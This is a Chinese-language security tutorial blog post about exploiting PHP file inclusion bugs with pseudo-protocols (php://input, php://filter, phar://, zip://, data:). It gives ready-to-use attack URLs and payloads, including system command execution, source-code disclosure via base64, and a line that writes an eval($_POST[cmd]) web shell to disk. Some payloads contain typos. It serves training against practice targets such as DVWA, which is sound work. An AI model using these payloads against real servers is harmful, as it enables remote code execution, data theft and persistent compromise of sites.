第八章——第四节--文件包含漏洞篇文件包含漏洞篇之文件包含技巧之php伪协议包含

1、文件包含之php伪协议类型

 

php伪协议类型

 

file:// —访问本地文件系统

http://—访问HTTP(s)网址

ftp://一访问FTP(s) URLS

php:// —访问各个输入输出流 (I/O streams)

zib:// —压缩流

data://一数据(RFC 2397)

glob://一查找匹配的文件路径模式

phar://一PHP归档

ssh2://一Secure Shell 2 

rar:// 一RAR

ogg/—音频流

expect:/ —处理交互式的流

 

2、文件包含之常用RHP伪协议讲解

 

 

a)php://input

它是个可以访问请求的原始数据的只读流,说得简单点,就是获取post传过去的数据利用条件:

 

allow_url_ include = on

对allow_url _fopen不做要求

 

利用方式:

index.php?file=php://input 

POST:

<?php phpinfo();?>

 

<?php system ('ipconfig');?>
 
<?php fputs(fopen('shel.php','w'),'<?php eval($_POST[cmd]);?>

 

b) php://filter

 

我们一般用它来读取源码,不过要先经过base64加密, 然后得到结果再base64解密就行。

 

利用方式:

 

index.php?page=php://fiter/read=convert.base64-encode/resource=file1.php

 



 

c) phar://

利用条件

php版本大于等于php5.3.0

利用方式:

假设有个文件phpinfo.txt,其内容为

<?php phpinfo);?>

打包成zip的压缩包,然后包含。

index.php?page= phar://../../hackable/uploads/phpinfo.zip/phpinfo.txt

 

 

 

 

d) zip://

利用条件:

php版本大于等于php5.3.0

利用方式:

 

假设有个文件phpinfo.txt,其内容为<?php phpinfo():>,打包成ip的压缩包,然后包含。但使用zip 协议,需要指定绝对路径,同时将编码=改为URL编码%23, 之后填上压缩包文件。

 

index. php? page=zip://D:\phpstudy\PHPTutorial\WWW\DVWA-master\vulnerabilities\fi\phpinfo.zip%23phpinfo.txt

 

 

 

 

 

 

 

 

e) data:URL schema

利用条件:

1. php版本大于等于php5.2

 

2. allow_ url_include = on

 

3. allow_url_fopen on 

 

利用方式:

index. php?file=data:text/plain,<?php phpinfo();?>

 

index. php?file = data:text/plain,<?php system("whoami");?>

 

 

 

 

 

小结:

 

1、文件包含之php伪协议类型

 

2、文件包含之常用PHP伪协议讲解

 

                       以上内容仅作为知识分享,希望能帮助广大网络安全爱好者,

                

 

                                                                                                                       

 

posted @ 2021-08-15 18:56  Onlyxiu  阅读(132)  评论(0编辑  收藏  举报